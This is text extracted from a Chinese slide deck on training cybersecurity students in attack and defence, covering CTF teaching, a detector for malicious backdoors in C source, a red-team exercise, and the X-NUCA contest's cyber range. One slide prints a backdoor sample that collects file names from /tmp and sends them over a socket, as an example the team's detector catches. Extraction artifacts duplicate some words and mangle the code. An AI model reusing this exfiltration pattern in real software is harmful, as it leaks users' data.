1、攻防兼备的实战型网络安全人才培养实践技术创新,变革未来目录培养模式授课方法科研思路 实战演练中国科学院研究生两段式培养模式中国科学院大学(简称“国科大”)与中国科学院各研究所在管理体制、师资队伍、培养体系、科研工作等方面“共有、共治、共享、共发展”,实现高度融合。通过科教融合, 汇聚中科院优质资源,适当引入外部资源,为学生提供最好的教育资源。力争使研究生在一年的集中学习环节中把所涉及 的知识学深、学扎实,为后几年进入研究阶段的 学习打好基础。第一阶第一阶段段校园集中授课校园集中授课以课程建设为抓手以课程建设为抓手第二年回到各研究所,进入课题组,边进行科研 实践,边进行学科专业课和特色课程的学习
2、,在 导师的指导下完成研究生的科研论文。第二阶第二阶段段 研究所科研研究所科研学习与科研实践相结合学习与科研实践相结合深度科教融合核心使命:培养造就高质量创新创业人才!高质量创新创业人才的评价要素是什么?理论知识实践能力创新思维创业能动性目录培养模式授课方法科研思路 实战演练第一阶段校园集中授课学习资料多学习资料多攻防技术发展迅速,攻防技术发展迅速, 大量论文、书籍、大量论文、书籍、 帖子、报告、在线帖子、报告、在线 站点、开源项目站点、开源项目安全资讯多安全资讯多网络安全事件频发网络安全事件频发 微信群安全简讯微信群安全简讯 朋友圈转发文章朋友圈转发文章 互联网新媒体互联网新媒体CTF赛事多
3、赛事多校校赛赛/ 省赛省赛/ 国国赛赛 高校主办高校主办/ 校企合校企合 办办/ 企业独立组织企业独立组织引导竞赛观?课程怎么教?如何划重点?多参赛就好?上课学什么?哪些值得看?老师 视角学生 视角授课方法知识链牵引工具产品了解国内外工业界情况事件案例加强代入感让知识可见学术成果紧跟国内外学术界进展理论 体系理论 体系保证知识的系统性攻防实践加深对课堂讲授内容的理解授课方法:以Web安全技术为例攻防实践在攻防实践方面,把CTF比赛引入授课过程中,针对授课内容知识点设计题目,成绩纳入期末总成绩。采用“单人组队比赛、课堂集中解题、随时随意讨论“的形式,确保每一位学生都能体验基于CTF的攻防实践过程
4、,进而加深每一个人对课堂讲授内容的理解,建立Web安全形象思维和安全意识。目录培养模式授课方法科研思路 实战演练第二阶段 研究所科研【立足业界需求】在“理论体系-学术成 果-工具产品-事件案例-攻防实践”知识 链条牵引下,立足业界需求,依托研究所 科研项目,聚焦兴趣点。【提炼科学问题】充分调研国内外学术界、 工业界研究现状,自主提出关键科学问题,并开展系统深入的研究。【真实场景验证】研发原型系统,在真实 环境下部署,测试功能和性能。研究方向业界 需求科研 项目兴趣 爱好如何有益于解决真实业务场景问题?如何开展科研实践?网络安全的本质在对抗,对抗的本质在攻防两端能力的较量。要以技术对技术,以技术
5、管技术,做到魔高一尺、道高一丈。【节选自419讲话】从攻击者视角分析问题,以防御者视角解决问题,用实战演练检验效果。攻防角色互换科研思路:以软件供应链安全为例近些年,从XcodeGhost事件,到Xshell后门、python pip源欺骗性污染钓鱼。软件供应链 安全事件频发,且具有威胁对象种类多、极端隐蔽、攻击成本低回报高、检测困难等特性。软件供应链是指由软件开发环节,交付环节和使用环节组成的功能链。而软件供应链污染则 是在软件供应链中的各个环节中,利用不同的技术对软件进行污染。源代码内部组件外部组件执行逻辑应用程序 开发交付使用需求设计下载分发安装运行升级编写编译生成软件供应链安全威胁模型
6、图软件供应链安全威胁模型图2018年软件供应链安全大赛“C源码专题赛”分站赛第一名2018功守道阿里软件供应链安全大赛,是聚焦软件供应链安全范畴内泛化的攻击面与应对技 术、策略,面向业界、学术领域,采用对抗为主的全新挑战赛形式。中科院信工所团队作为防守方从防御的角度检测题目中是否存在软件供应链安全风险点。在C源码专题赛分站赛3的183个待检测样本中,发现恶意后门数量81个,正确解题数量115道。获得C源码专题赛分站赛第一名,并直接晋级总决赛。2018年软件供应链安全大赛“C源码专题赛”比赛过程恶意行为分类建模总结几十种模型: 敏感函数集合+上下文约束关系单点恶意行为:系统敏感信息采集等;二阶段
7、恶意行为:用 户操作历史的读取和 无校验网络传出;复合恶意行为:键盘 hook等。C源码样本下载183个待检测 C源码样本比赛3小时,提交结果5次,发现恶意后门数量81个,正确解题115道。污点分析模型匹配基于LLVM pass框架的 中间代码表示,进而检 测恶意行为C源码中间代码表示;污点分析:发现疑似敏感行为;模型匹配:I/O操作网络传出。误报过滤结果提交实现C源码恶意后门自 动化检测系统基于路径可达性分析 的误报过滤。2018年软件供应链安全大赛“C源码专题赛”解题举例int s; char buff1024; DIR *dir_path;struct sockaddr_in socka
8、ddin; struct dirent *path; memset(buff, 0, sizeof(buff);dir_path = opendir(/tmp);if (dir_path) while (path = readdir(dir_path) != NULL) sprintf(buff, %sn%s, buff, path-d_name);closedir(dir_path);if (s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) 0) goto Exit;memset(&sockaddin, 0, sizeof(sockaddin);if
9、 (connect(s,(struct sockaddr *) &sockaddin, sizeof(sockaddin) 0) goto Exit;send(s, buff, sizeof(buff), 0);close(s); Exit;污染源收集“/tmp” 目录下,所有 文件的文件名无校验网络输出污点分析:发现污点数据流向 send函数(敏感操作),疑似 敏感行为,进行深度检测分析;模型匹配:I/O操作网络传出,进行敏感行为模型匹配,发现 执行时可触发敏感行为,进行 触发点定位。知识链牵引+攻防角色互换形成基于“理论体系-学术成果-工具 产品-事件案例-攻防实践”知识链牵引的授课思路,
10、以及“从攻击者视角 分析问题,以防御者视角解决问题,用实战演练检验效果”攻防角色互换 的科研思路。攻防兼备的实战型网安人才培养实践目录培养模式授课方法科研思路 实战演练2017贵阳大数据及网络安全攻防演练“安全成果一等奖”2017贵阳大数据及网络安全攻防演练,是在真实网络环境中,针对真实目标的渗透测试演练。中科院信工所评测团队,针对相关目标发现并提交重要漏洞50多个,率先攻破多个重点或核 心目标,控制重点及核心目标关键服务器近30台,突破五家单位系统的内网并控制大量内网 主机,包括工控领域系统。荣获最高奖项“安全成果一等奖”。2017贵阳大数据及网络安全攻防演练“安全成果一等奖”系统突破明确漏
11、洞造成的 影响,进一步的 提权、内网渗透漏洞利用漏洞扫描、漏 洞挖掘与利用、 手工渗透测试信息搜集侦查域名、子域 名、开放端口, 识别系统信息明确目标17个真实目标,含4个核心目标、8个重点目标*工控系统企事业单位*大数据平台8天12小时,5人,提交漏洞50多个,控制关键服务器近30台,突破并控制五家单位系统的内网主机。形成报告总结漏洞成因、利用方法、防御手段,形成报告全国高校网安联赛(X-NUCA)中国科学院中国科学院深圳深圳市市人民政府人民政府中国网络空间安全协会中国网络空间安全协会指导指导 单位单位中国科学院大学网络空间安全学院中国科学院大学网络空间安全学院 湖湖南合天智汇信息技术有限公
12、司南合天智汇信息技术有限公司 北京永北京永信至诚科技股份有限公司信至诚科技股份有限公司承办承办 单位单位中国科学院信息工程研究所中国科学院信息工程研究所 深圳市科深圳市科技创新委员会技创新委员会主办主办 单位单位深圳市南山区人民政府深圳市南山区人民政府 360企业安全企业安全集团集团深圳大学深圳大学协办协办 单位单位中国科学院信息工程研究所于2016年创办的“全国高校网安联赛(National University CybersecurityAssociation,简称X-NUCA)”,是面向全国高校学生的网络安全技能赛,推出“竞赛+”模式,大赛 秉承“寓学于赛,以赛促学”的理念,旨在更好地促
13、进网络安全人才的培养和选拔。第二届X-NUCA2017三期线上赛总决赛深圳第一届X-NUCA2016五期线上赛总决赛北京2016全国高校网安联赛(X-NUCA2016)第一届全国高校网安联赛第一届全国高校网安联赛(X-NUCA2016)比赛历程比赛历程2016年7月2016年12月总决赛线上解题模线上解题模式式+线下攻防模式线下攻防模式存在问题:重技巧、轻实战,脱离真实网络攻防场景2017全国高校网安联赛(X-NUCA2017)12月19-22日年度总决赛Web安全靶场渗透专题赛8月26日10月8日Windows 7 靶场评测专题赛11月25日企业安全众测 靶场挑战赛第二届全国高校网安联赛第二
14、届全国高校网安联赛(X-NUCA2017)比赛历程比赛历程基于网络靶场的网安联赛基于网络靶场的网安联赛X-NUCA2017利用网络靶场技术,为参赛者提供接近于真实互联网环境的网络攻防对抗场景。如何设计接近于真实互联网环境的网络攻防场景?网络区域设定划分公网、内 网、专网环境网络场景选取源于真实互 联网环境网络拓扑抽象定位关键网 络节点攻防题目设计立足攻防实战 经验风险评估渗透测试应急响应样本分析追踪溯源以X-NUCA2017总决赛团队赛比赛环境为例网络场景选取公网部分:与互联网连接, 用于处理一般性事务,或对 外的门户网站。内网部分:一般是单位内部 局域网络,用于日常办公、 对公网区域管理等。
15、此区域 内可能会存储业务系统中的 较敏感信息。专网部分:一般用于与总部 交换核心数据或处理特殊业 务,属于业务中核心的部分。以X-NUCA2017总决赛团队赛比赛环境为例网络拓扑抽象比赛选手网关服务器以X-NUCA2017总决赛团队赛比赛环境为例比赛选手网 关 公 网 内 网 专网服务器一 个 公 网 区域整个业务中接入公网的服务,节点包括门户网站及数据库等。选手可以直接访问到 公网服务,是整个环境的入口。三 个 内 网 区域包括内网服务器、网站管理员工作PC、 代码仓库服务器等。3个内网分别由3个公 网服务接入。一 个 专 网 区域核心业务区,包括Web服务器、业务应 用服务器。所有专网的最
16、内层节点在此区 域连成一个大网。网络区域设定以X-NUCA2017总决赛团队赛比赛环境为例Web CMS漏洞弱口令一个密码多处使用不正确的网络配置日志中的隐藏信息黑客攻击痕迹跨网攻击代理跳板比赛选手网 关 公 网 内 网 专网服务器攻防题目设计隐藏了多个关键信 息,这些信息是选 手内网渗透路径中 的必须信息部署AWD模式的竞 赛题目,在攻击其 他队伍的同时,需 要修复自己的漏洞以X-NUCA2017总决赛团队赛比赛环境为例20支队伍100名队员300个节点1个公网3个内网1个专网公网内网专网的渗 透路径以专网服务 器为跳板的 攻防模式X-NUCA2017总决赛网络靶场可视化X-NUCA2017总决赛比赛场馆实景图结束语人才培养体系建设是一个永恒的话题,十分必要;学生培养质量最终由老师和学生 这两个具有主观能动性的主体决 定,发挥不好这两个主体的主动 性,质量无从谈起;实战型网络安全人才培养任重道 远,师资队伍建设是根本。谢 谢!32谢谢!